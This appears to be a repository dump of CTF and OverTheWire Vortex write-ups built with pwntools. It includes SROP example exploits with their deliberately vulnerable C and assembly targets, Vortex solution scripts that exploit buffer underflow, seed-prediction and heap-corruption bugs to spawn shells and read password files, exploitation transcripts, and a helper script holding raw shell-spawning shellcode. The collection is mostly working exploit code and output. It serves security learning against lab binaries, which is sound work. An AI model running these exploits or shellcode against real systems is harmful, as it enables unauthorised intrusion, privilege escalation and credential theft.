SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # pwntools-write-ups 2 | 3 | A collection of CTF write-ups all using pwntools 4 | 5 | ## Dependencies 6 | 7 | - libc++1 (2014/gits-teaser/citadel) 8 | - pwntools (master branch from github, and ofc. all dependencies for pwntools) 9 | 10 | ## Known Issues 11 | 12 | Some of the tests are a bit finnicky, both due to pwntools and the services themselves. 13 | 14 | - Some services cannot be re-run immediately (services without REUSEADDR) 15 | - Services that aren't working: 16 | - 2013/pctf/ropasaurus 17 | - 2014/defcon-quals/babyfirst-heap 18 | - 2014/defcon-quals/bbgp 19 | 20 | If other tests are failing or there are other issues (e.g. services still running after the test), then please file an issue. 21 | -------------------------------------------------------------------------------- /run_all_tests.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | 5 | for path, dirs, files in os.walk('.'): 6 | if '.git' in path: 7 | continue 8 | 9 | if 'wargames' in path: 10 | continue 11 | 12 | if not dirs: 13 | for f in files: 14 | if f.startswith('harness'): 15 | h = log.waitfor('Running harness for ' + path) 16 | with context.local(log_level = 'WARNING'): 17 | data = process("./" + f, cwd = path).recvall().strip() 18 | if data == 'ok': 19 | h.success() 20 | else: 21 | h.failure('Got output:\n' + data) 22 | break 23 | else: 24 | log.warning(path + ' has no harness') 25 | -------------------------------------------------------------------------------- /srop-examples/srop/doit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | """ 4 | A set of examples that demonstrate how to mount an SROP attack 5 | using pwntools/binjitsu. 6 | Example tested on : 7 | Distributor ID:Ubuntu 8 | Description:Ubuntu 13.10 9 | Release:13.10 10 | Codename:saucy 11 | Linux z-VirtualBox 3.11.0-26-generic #45-Ubuntu SMP Tue Jul 15 04:04:15 UTC 2014 i686 i686 i686 GNU/Linux 12 | """ 13 | 14 | import os 15 | import sys 16 | 17 | from pwn import * 18 | 19 | # Turn of all logging 20 | context.log_level = 10000 21 | 22 | """ 23 | Example 1: 24 | Getting a shell from a binary that has an information leak. 25 | The binary is linked with libc. 26 | This example shows basic srop capabilities. 27 | """ 28 | def exploit(): 29 | PAGE_SIZE = 4096 30 | 31 | e = ELF('poc-32') 32 | 33 | p = process("poc-32") 34 | c = constants 35 | 36 | # We receive the "leaked" address of our input buffer 37 | p.recvuntil("Buffer = ") 38 | buffer_address = int(p.recvline()[:-1], 16) 39 | buffer_page = buffer_address & ~(PAGE_SIZE - 1) 40 | 41 | # Addresses of the gadgets we use to mount the attack 42 | INT_80 = e.symbols["make_syscall"] 43 | POP_ESP_RET = e.symbols["set_stackptr"] 44 | POP_EAX_RET = e.symbols["set_eax"] 45 | 46 | sploit = "" 47 | sploit += pack(POP_EAX_RET) 48 | sploit += pack(c.i386.SYS_sigreturn) 49 | sploit += pack(INT_80) 50 | 51 | s = SigreturnFrame() 52 | 53 | s.eax = constants.SYS_mprotect # syscall number 54 | s.ebx = buffer_page # page containing buffer 55 | s.ecx = PAGE_SIZE # page size 56 | s.edx = c.PROT_READ | c.PROT_WRITE | c.PROT_EXEC # prot 57 | s.ebp = buffer_page # valid value for ebp 58 | s.eip = INT_80 # syscall instruction 59 | 60 | # At the offset 92, we have an address that points to our 61 | # shellcode. The shellcode resides at offset 84. 62 | s.esp = buffer_address + 92 63 | 64 | sploit += s.get_frame() 65 | 66 | # The address of the shellcode 67 | sploit += pack(buffer_address+96) 68 | 69 | # Our shellcode 70 | sploit += asm(shellcraft.dupsh()) 71 | 72 | # Register state : 73 | # EBP: 0xbffffb58 ("jaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaaf") 74 | # ESP: 0xbffffb50 ("haafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaaf") 75 | # EIP: 0x66616167 ('gaaf') 76 | # [-------------------------------------code-------------------------------------] 77 | # Invalid $PC address: 0x66616167 78 | eip_offset = cyclic_find("gaaf") 79 | 80 | # 524 bytes to get to the base pointer. Then we give the 81 | # base pointer a valid value i.e. `buffer_page` 82 | sploit += "\x90" * (eip_offset - 4 - len(sploit)) 83 | sploit += pack(buffer_page) 84 | sploit += pack(POP_ESP_RET) 85 | sploit += pack(buffer_address) # Buffer address 86 | 87 | p.send(sploit) 88 | p.interactive() 89 | 90 | exploit() 91 | -------------------------------------------------------------------------------- /srop-examples/srop/harness.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | import os, signal 5 | context.log_level = 10000 6 | 7 | # Making sure the gadgets in the poc are cached, so that 8 | # we do not have to give an unnecessarily high timeout 9 | # below. 10 | r = ROP("poc-32") 11 | 12 | with tempfile.NamedTemporaryFile() as fd: 13 | s = randoms(12)+"\n" 14 | fd.write(s) 15 | fd.flush() 16 | 17 | try: 18 | p = process(["python", "doit.py"]) 19 | 20 | p.sendline("cat " + fd.name) 21 | flag = p.recvline(timeout=5) 22 | if b64e(flag) == b64e(s): 23 | print "ok" 24 | else: 25 | print "not ok" 26 | finally: 27 | p.close() 28 | -------------------------------------------------------------------------------- /srop-examples/srop/poc-32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/srop-examples/srop/poc-32 -------------------------------------------------------------------------------- /srop-examples/srop/poc-32.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | void make_syscall(void) { 11 | asm(".intel_syntax noprefix\n"); 12 | asm("int 0x80\n"); 13 | asm("ret\n"); 14 | } 15 | 16 | void set_stackptr(void) { 17 | asm(".intel_syntax noprefix\n"); 18 | asm("pop esp\n"); 19 | } 20 | 21 | void set_eax(void) { 22 | asm(".intel_syntax noprefix\n"); 23 | asm("pop eax\n"); 24 | } 25 | 26 | int read_input() { 27 | char buffer[512]; 28 | printf("Buffer = %p\n", buffer); 29 | read(0, buffer, 600); 30 | return 0; 31 | } 32 | 33 | int main(int argc, char const *argv[]) 34 | { 35 | read_input(); 36 | return 0; 37 | } 38 | 39 | -------------------------------------------------------------------------------- /srop-examples/srop2/doit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | """ 4 | A set of examples that demonstrate how to mount an SROP attack 5 | using pwntools/binjitsu. 6 | Example tested on : 7 | #Distributor ID:Ubuntu 8 | #Description:Ubuntu 13.10 9 | #Release:13.10 10 | #Codename:saucy 11 | #Linux z-VirtualBox 3.11.0-26-generic #45-Ubuntu SMP Tue Jul 15 04:04:15 UTC 2014 i686 i686 i686 GNU/Linux 12 | """ 13 | 14 | import os 15 | import sys 16 | 17 | from pwn import * 18 | 19 | # Turn off all logging 20 | context.log_level = 10000 21 | 22 | """ 23 | Example 2: 24 | Reading a flag and sending over data. 25 | The binary is not linked with libc. 26 | This example demonstrates srop-rop integration. 27 | """ 28 | def exploit_nasm(flagfile): 29 | r = ROP("poc-nasm") 30 | p = process("./poc-nasm") 31 | 32 | function_address = p.unpack() 33 | buffer_address = p.unpack() - 4 34 | POP_ESP_RET = function_address + 0 35 | 36 | # At the top of the payload, you have the name of the 37 | # flagfile 38 | sploit = "%s\0" % flagfile 39 | 40 | # Now we have the ropchains 41 | r.open(buffer_address, 0, 0) 42 | 43 | # The following call switches to SROP automatically 44 | r.sendfile(constants.STDOUT_FILENO, 3, 0, 100) 45 | 46 | # Append what we have to sploit 47 | sploit += str(r) 48 | 49 | # 50 | # ESP: 0xbffffbd0 ("qaacraacsaactaacuaacvaacwaacxaacyaac\n\375\377\277") 51 | # EIP: 0x63616170 ('paac') 52 | # [-------------------------------------code-------------------------------------] 53 | # Invalid $PC address: 0x63616170 54 | eip_offset = cyclic_find('paac') 55 | 56 | sploit += "A" * (eip_offset - len(sploit)) 57 | 58 | # Overwrite the return address and set the ESP to the start 59 | # of the ropchain(i.e. where we have the call to `open`). 60 | sploit += pack(POP_ESP_RET) 61 | sploit += pack(buffer_address+len(flagfile)+1) 62 | 63 | p.send(sploit) 64 | flag = p.recvline() 65 | return flag 66 | 67 | # Second example 68 | flag = exploit_nasm(args['FLAG']) 69 | print b64e(flag) 70 | -------------------------------------------------------------------------------- /srop-examples/srop2/harness.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | import os, signal 5 | context.log_level = 1000 6 | 7 | with tempfile.NamedTemporaryFile() as fd: 8 | s = randoms(12)+"\n" 9 | fd.write(s) 10 | fd.flush() 11 | try: 12 | p = process(["python", "doit.py", "FLAG=%s"%fd.name]) 13 | #p.sendline(fd.name) 14 | flagenc = p.recvline(timeout=5).strip() 15 | if flagenc == b64e(s): 16 | print "ok" 17 | else: 18 | print "not ok" 19 | finally: 20 | p.close() 21 | -------------------------------------------------------------------------------- /srop-examples/srop2/poc-nasm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/srop-examples/srop2/poc-nasm -------------------------------------------------------------------------------- /srop-examples/srop2/poc-nasm.S: -------------------------------------------------------------------------------- 1 | section .text 2 | 3 | global _start 4 | 5 | _test: 6 | sub esp, 0x100 7 | 8 | ; Leak the buffer address 9 | mov eax, 4 10 | mov ebx, 1 11 | push esp 12 | mov ecx, esp 13 | mov edx, 4 14 | int 0x80 15 | 16 | ; Read input that causes the buffer overflow 17 | mov eax, 3 18 | mov ebx, 0 19 | mov ecx, esp 20 | mov edx, 0x400 21 | int 0x80 22 | add esp, 0x104 23 | ret 24 | 25 | open: 26 | mov eax, 5 27 | mov ebx, [esp+4] 28 | mov ecx, [esp+8] 29 | mov edx, [esp+0xc] 30 | int 0x80 31 | ret 32 | 33 | 34 | _gadgets: 35 | pop esp 36 | ret 37 | pop eax 38 | ret 39 | mov eax, 0x77 40 | int 0x80 41 | ret 42 | add esp, 0x10 43 | ret 44 | 45 | _printaddress: 46 | mov eax, 4 47 | mov ebx, 1 48 | call $+5 49 | pop ecx 50 | sub ecx, 31 51 | push ecx 52 | mov ecx, esp 53 | mov edx, 0x4 54 | int 0x80 55 | pop edx 56 | ret 57 | 58 | _start: 59 | call _printaddress 60 | call _test 61 | mov eax, 1 62 | int 0x80 63 | 64 | -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level0/win.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | 5 | r = remote('vortex.labs.overthewire.org', 5842) 6 | ns = [r.recvn(4) for _ in range(4)] 7 | res = sum(u32(n) for n in ns) 8 | r.send(p32(res & 0xffffffff)) 9 | 10 | data = r.recvall() 11 | 12 | creds = re.findall('Username: (.*) Password: (.*)', data) 13 | assert len(creds) == 1 14 | 15 | print creds[0][1] 16 | -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level1/README.md: -------------------------------------------------------------------------------- 1 | # Vortex 1 2 | 3 | Simple buffer underflow. Decrement 'ptr' until it points at itself, 4 | overwrite the high byte. 5 | 6 | ```c 7 | int 8 | main 9 | ( 10 | ) 11 | { 12 | unsigned char buf[512]; 13 | unsigned char *ptr = buf + (sizeof(buf) / 2); 14 | unsigned int x; 15 | 16 | while ((x = getchar()) != EOF) 17 | { 18 | switch (x) 19 | { 20 | case '\n': print(buf, sizeof(buf)); 21 | continue; 22 | break; 23 | 24 | case '\\': 25 | ptr--; 26 | break; 27 | 28 | default: 29 | 30 | if (((unsigned int)ptr & 0xff000000) == 0xca000000) 31 | { 32 | setresuid(geteuid(), geteuid(), geteuid()); 33 | execlp("/bin/sh", "sh", "-i", NULL); 34 | } 35 | 36 | if (ptr > buf + sizeof(buf)) 37 | { 38 | continue; 39 | } 40 | 41 | ptr++[0] = x; 42 | break; 43 | } 44 | } 45 | printf("All done\n"); 46 | } 47 | ``` -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level1/transcript.txt: -------------------------------------------------------------------------------- 1 | [*] Connecting to vortex.labs.overthewire.org on port 22... 2 | [+] Connecting to vortex.labs.overthewire.org on port 22: OK 3 | [*] Opening new channel: '/vortex/vortex1'... 4 | [+] Opening new channel: '/vortex/vortex1': OK 5 | [+] id: uid=5002(vortex2) gid=5001(vortex1) groups=5002(vortex2),5001(vortex1) 6 | [+] password: -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level1/win.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | import time 5 | 6 | level = 1 7 | host = 'vortex.labs.overthewire.org' 8 | user = 'vortex%i' % level 9 | chal = 'vortex%i' % level 10 | password = args['PASSWORD'] 11 | passfile = '/etc/vortex_pass/vortex%i' % (level+1) 12 | binary = '/vortex/%s' % chal 13 | shell = ssh(host=host, user=user, password=password) 14 | 15 | r = shell.run(binary) 16 | 17 | # Stack layout looks like this: 18 | # -00000214 ptr dd ? 19 | # -00000210 char dd ? 20 | # -0000020C buffer db 512 dup(?) 21 | # 22 | # We start out in the middle of buffer 23 | off_buffer = -0x20c 24 | off_ptr = -0x214 25 | ptr = off_buffer+0x100 26 | 27 | 28 | r.send('\\' * (ptr-off_ptr-3)) # Underflow PTR, -3 so we set the high byte. 29 | r.send('\xca') # Write the byte 30 | r.send('\\') # Move backward again to undo the ++ 31 | r.send('\xca') # Send any byte at all, triggers e() 32 | r.clean() 33 | 34 | time.sleep(1) 35 | 36 | # Win 37 | r.send('id\n') 38 | log.success('id: %s' % r.recv().strip()) 39 | r.send('cat /etc/vortex_pass/vortex2\n') 40 | password = r.recv().strip() 41 | log.success('Password: %s' % password) 42 | 43 | print password 44 | -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level10/README.md: -------------------------------------------------------------------------------- 1 | # Vortex 10 2 | 3 | This challenge requires pressing the F5 buttin in IDA pro, some brute forcing. 4 | 5 | The challenge gathers a bunch of timing information, feeds it to `srand()` and then `rand()`, and you need to predict a value. 6 | 7 | We use a helper C program with the logic lifted from Hex Rays to generate an approximation of the starting parameters, then duplicate the logic and search from Python. We load `libc` since I don't trust that Python's `rand`/`srand` are the same. 8 | 9 | Once we've found a match, we get a shell. -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level10/ticks.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int 7 | main 8 | ( 9 | ) 10 | { 11 | int i, j; 12 | unsigned int seed; 13 | struct tms tms; 14 | clock_t num_ticks = 0; 15 | 16 | // from IDA 17 | num_ticks = times(&tms); 18 | num_ticks = tms.tms_cutime + tms.tms_stime + tms.tms_utime + tms.tms_cstime + num_ticks; 19 | num_ticks += clock(); 20 | num_ticks += time(NULL); 21 | num_ticks = 128 22 | - ((unsigned char)(((unsigned int)(num_ticks >> 31) >> 24) + num_ticks) 23 | - ((unsigned int)(num_ticks >> 31) >> 24)); 24 | seed = num_ticks + time(0); 25 | 26 | printf("seed=%#x\nticks=%#x\n", seed, num_ticks & 0x7fffffff); 27 | return 0; 28 | 29 | 30 | } 31 | -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level10/transcript.txt: -------------------------------------------------------------------------------- 1 | [+] Connecting to vortex.labs.overthewire.org on port 22: OK 2 | [*] Working directory: '/tmp/tmp.P3XNl0MKWN' 3 | [*] Uploading 'ticks.c' to '/tmp/tmp.P3XNl0MKWN/ticks.c' 4 | [+] Opening new channel: '(./ticks && /vortex/vortex10)': OK 5 | [*] seed: 53df4a4c 6 | [*] ticks: 53 7 | [*] Needle: [1657453363, 1802622419, 1471874935, 145135840, 2066897870, 2143418298, 332561611, 854688692, 1460473268, 764246388, 1735719590, 146844864, 12615 8 | 10674, 154201750, 1683214580, 1001028364, 1871617721, 400586366, 1003084076, 1478884752] 9 | [+] Found seed: 53df4a8f 10 | [+] id: uid=5011(vortex11) gid=5010(vortex10) groups=5011(vortex11),5010(vortex10) 11 | [+] Password: 12 | [*] Switching to interactive mode 13 | 14 | -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level10/vortex10: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/wargames/overthewire-vortex/level10/vortex10 -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level10/win.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | from pwn import * 4 | from ctypes import * 5 | context(arch='i386',os='linux') 6 | 7 | 8 | level = 10 9 | host = 'vortex.labs.overthewire.org' 10 | user = 'vortex%i' % level 11 | chal = 'vortex%i' % level 12 | password = args['PASSWORD'] 13 | passfile = '/etc/vortex_pass/vortex%i' % (level+1) 14 | binary = '/vortex/%s' % chal 15 | shell = ssh(host=host, user=user, password=password) 16 | 17 | if not os.path.exists(chal): 18 | shell.download_file(binary) 19 | 20 | # Load up some ctypes wooo 21 | cdll.LoadLibrary("libc.so.6") 22 | libc = CDLL("libc.so.6") 23 | 24 | # Run our binary and get a good guess as to what the value might be 25 | shell.set_working_directory() 26 | shell.upload_file('ticks.c') 27 | shell['gcc -O3 ticks.c -o ticks'] 28 | 29 | # Run our binary and their binary at the same time 30 | # so that the times are closer. 31 | def find_the_seed(): 32 | sh = shell.run('(./ticks && %s)' % binary) 33 | exec(sh.recvline()) # seed 34 | exec(sh.recvline()) # ticks 35 | 36 | log.info("seed: %x" % seed) 37 | log.info("ticks: %x" % ticks) 38 | 39 | want = sh.recvline().strip() 40 | want = want.strip('[], ') 41 | want = want.split(',') 42 | want = [int('0x'+i.strip(), 16) for i in want] 43 | 44 | log.info("Needle: %s" % want) 45 | 46 | for seed in xrange(seed-0x10000, seed+0x10000): 47 | libc.srand(seed) 48 | match = 0 49 | for i in xrange(0x100): 50 | rv = libc.rand() 51 | if rv == want[match]: 52 | match += 1 53 | else: 54 | match = 0 55 | 56 | if match > 15: 57 | log.success("Found seed: %x" % seed) 58 | sh.send(p32(seed)) 59 | return sh 60 | log.info("Didn't find the seed") 61 | return None 62 | 63 | # Search for the seed based off of our guess 64 | # When we find it, send it as a 4-byte packed integer 65 | sh = None 66 | while sh is None: 67 | sh = find_the_seed() 68 | 69 | # Win 70 | sh.sendline('export PS1=""') 71 | sh.clean(2) 72 | 73 | sh.sendline('id') 74 | log.success('id: ' + sh.recvline().strip()) 75 | 76 | sh.sendline('cat %s' % passfile) 77 | password = sh.recvline().strip() 78 | log.success('Password: %s' % password) 79 | 80 | print password 81 | -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level11/README.md: -------------------------------------------------------------------------------- 1 | # Vortex 11 2 | 3 | Simple heap corruption vulnerability. If you spam data at it, you'll see that you get a write-what-where. 4 | 5 | We nuke the GOT entry for `_exit` with a pointer to our shellcode in the heap buffer, which is at a predictable address. -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level11/phkmalloc.c.diff: -------------------------------------------------------------------------------- 1 | diff --git a/phkmalloc.c b/phkmalloc.c 2 | index b00ad66..51ce5d6 100755 3 | --- a/phkmalloc.c 4 | +++ b/phkmalloc.c 5 | @@ -712,7 +712,11 @@ malloc_bytes(size_t size) 6 | k <<= bp->shift; 7 | 8 | if (malloc_junk) 9 | - memset((u_char *)bp->page + k, SOME_JUNK, bp->size); 10 | + { 11 | + printf("memset(%p, %x, %x)\n", (u_char *)bp->page + k, SOME_JUNK, bp->size); 12 | + fflush(stdout); 13 | + // memset((u_char *)bp->page + k, SOME_JUNK, bp->size); 14 | + } 15 | 16 | return ((u_char *)bp->page + k); 17 | } 18 | @@ -740,6 +744,9 @@ imalloc(size_t size) 19 | if (malloc_zero && result != NULL) 20 | memset(result, 0, size); 21 | 22 | + printf("===> MALLOC %x == %p\n", size, result); 23 | + fflush(stdout); 24 | + 25 | return (result); 26 | } 27 | -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level11/transcript.txt: -------------------------------------------------------------------------------- 1 | [+] Connecting to vortex.labs.overthewire.org on port 22: OK 2 | [*] Stack is executable! 3 | [*] heap 804e801 4 | [*] exit@got 804c01c 5 | [+] Opening new channel: "/vortex/vortex11 $'\\x901\\xc9\\xf7\\xe9j\\x01\\xfe\\x0c$h//shh/bin\\xb0\\x0b\\x89\\xe3\\xcd\\x80aahaaaiaaajaaakaaalaaamaaanaaaoaaa 6 | paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaace 7 | aacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsa 8 | adtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaa 9 | fiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaag 10 | waagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaail 11 | aaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajza 12 | akbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaa 13 | lpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaan 14 | eaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaos 15 | aaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqha 16 | aqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaa 17 | rwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaat 18 | laatmaatnaatoaatpaatqaatraatsaattaatuaatvaatwaatxaatyaatzaaubaaucaaudaaueaaufaaugaauhaauiaaujaaukaaulaau\\xef\\xbe\\xad\\xde\\xdc\\xbf\\x04\\x08' $'\\x01\\xe 19 | 8\\x04\\x08\\x00'": OK 20 | [+] id: uid=5011(vortex11) gid=5011(vortex11) euid=5012(vortex12) groups=5012(vortex12),5011(vortex11) 21 | [+] Password: 22 | -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level11/vortex11: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/wargames/overthewire-vortex/level11/vortex11 -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level11/win.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | from pwn import * 4 | context(arch='i386',os='linux') 5 | 6 | level = 11 7 | host = 'vortex.labs.overthewire.org' 8 | user = 'vortex%i' % level 9 | chal = 'vortex%i' % level 10 | password = args['PASSWORD'] 11 | passfile = '/etc/vortex_pass/vortex%i' % (level+1) 12 | binary = '/vortex/%s' % chal 13 | shell = ssh(host=host, user=user, password=password) 14 | 15 | if not os.path.exists(chal): 16 | shell.download_file(binary) 17 | 18 | # By rebuilding the program and watching return values 19 | # from imalloc (and what's being memset()) 20 | # we see that if we overflow with a cyclic pattern, 21 | # at offset 'naau' we can control the result of the 22 | # last allocation. 23 | # 24 | # We can also see that the allocation addresses don't change. 25 | # 26 | # memset(0x804d020, d0, 20) 27 | # ===> MALLOC 14 == 0x804d020 28 | # memset(0x804d040, d0, 20) 29 | # ===> MALLOC 14 == 0x804d040 30 | # memset(0x804e000, d0, 800) 31 | # ===> MALLOC 800 == 0x804e000 32 | # memset(0x804f030, d0, 10) 33 | # ===> MALLOC 10 == 0x804f030 34 | # memset(0x804e800, d0, 800) 35 | # ===> MALLOC 800 == 0x804e800 36 | # memset(0x7561616e, d0, 616f) # oaau 37 | # ===> MALLOC 10 == 0x7561616e 38 | e = ELF(chal) 39 | exit = e.got['exit'] 40 | heap = 0x804e800 + 1 # <-- Add 1 so that we don't have NUL byte 41 | arg1 = cyclic(0x800) # <-- Up to the buffer edge 42 | arg1 += p32(0xdeadbeef) # <-- Ignored 43 | arg1 += p32(exit - 0x40) # <-- Value returned by malloc(). 44 | # No idea what the 0x40 is about 45 | arg2 = p32(heap) + '\x00' # <-- Value to overwrite exit() with 46 | 47 | # Put our shellcode at the beginning of the allocation 48 | sc = '\x90' # <-- Pad 1 byte due to above 49 | sc += asm(shellcraft.sh()) 50 | arg1 = sc + arg1[len(sc):] 51 | 52 | log.info("heap %x" % heap) 53 | log.info("exit@got %x" % exit) 54 | 55 | # Win 56 | sh = shell.run("%s $%r $%r" % (binary, arg1, arg2)) 57 | sh.clean(2) 58 | 59 | sh.sendline('id') 60 | log.success('id: ' + sh.recvline().strip()) 61 | 62 | sh.sendline('cat %s' % passfile) 63 | password = sh.recvline().strip() 64 | log.success('Password: %s' % password) 65 | 66 | print password 67 | -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level12/README.md: -------------------------------------------------------------------------------- 1 | # Vortex 12 2 | 3 | This is the same challenge as Level 8, but with NX enabled. 4 | 5 | We leverage pwntools' `gdb.find_module_addresses(binary, ssh=shell)` to grab all of the addresses for the libraries, then use pwntools' `ROP` module to generate a ROP stack to load some shellcode. The shellcode then does the exact same thing as level 8. 6 | 7 | The interesting part for this challenge was where to put the ROP. The buffer overflow is `strcpy` and I didn't want to restrict the ROP in any way. It turns out that you can store arbitrary data in the `argv[]` array, so I put it there. I use GDB to do stack-hunting to find the absolute address of my `argv[]` to do the pivot. 8 | 9 | Again, I use hellman's `r.sh` so that stack addresses in GDB and not-GDB are connsitent. -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level12/r.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # fixenv - A script to make stack addresses sane 4 | # https://github.com/hellman/fixenv 5 | # Copyright (C) 2014 hellman 6 | # 7 | # This program is free software; you can redistribute it and/or 8 | # modify it under the terms of the GNU General Public License 9 | # as published by the Free Software Foundation; either version 2 10 | # of the License, or (at your option) any later version. 11 | ulimit -c unlimited 12 | # ulimit -s unlimited 13 | 14 | export SC=$'\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80' 15 | export PWD=`pwd` 16 | 17 | IFS=" " 18 | unsetenv=(`echo -n 'env -u SSH_CLIENT -u SSH_TTY -u USER -u MAIL -u SSH_CONNECTION -u LOGNAME -u HOME -u LANG -u _ -u TERM COLUMNS=157 LINES=32'`) 19 | envlist=() 20 | fname="" 21 | # "CMD=sh" "ADDR=`perl -e 'print pack("V", 0x1672a0)'`" 22 | 23 | # ----------------------------------------------------- 24 | # put envorder.c source 25 | # ----------------------------------------------------- 26 | function put_envorder_source { 27 | cat > .envorder.c < 29 | #include 30 | extern char ** environ; 31 | int main(int argc, char *argv[]) { 32 | int i,j; 33 | FILE * fd = fopen(".gdblist", "w"); 34 | for (i = 0; environ[i] != NULL; i++) { 35 | unsigned char *q, *p; 36 | p = strchr(environ[i],(int)'='); 37 | q = environ[i]; 38 | while (q != p) 39 | fprintf(fd, "\\\\x%02x", *q++); 40 | q++; 41 | fprintf(fd, "="); 42 | while (*q) 43 | fprintf(fd, "\\\\x%02x", *q++); 44 | fprintf(fd, "\\\\x0a\n"); 45 | } 46 | fclose(fd); 47 | return 0; 48 | } 49 | EOF 50 | } 51 | 52 | 53 | # ----------------------------------------------------- 54 | # put getvar.c source 55 | # ----------------------------------------------------- 56 | function put_getvar_source { 57 | cat > .getvar.c < 59 | #include 60 | void printvar(char * p, char * varname) { 61 | unsigned char *q; 62 | q = (unsigned char *)&p; 63 | printf("%p \\\\x%02x\\\\x%02x\\\\x%02x\\\\x%02x (%s)\\n", p, *q, *(q+1), *(q+2), *(q+3), varname); 64 | } 65 | int main(int argc, char *argv[], char *env[]) { 66 | if (argc == 2) { 67 | printvar((char*)getenv(argv[1]), argv[1]); 68 | } else { 69 | int i; 70 | char *p; 71 | for (i = 0; env[i] != NULL; i++) { 72 | p = strchr(env[i], (int)'='); 73 | if (p) { 74 | *p++ = 0; 75 | printvar(p, env[i]); 76 | } 77 | } 78 | } 79 | return 0; 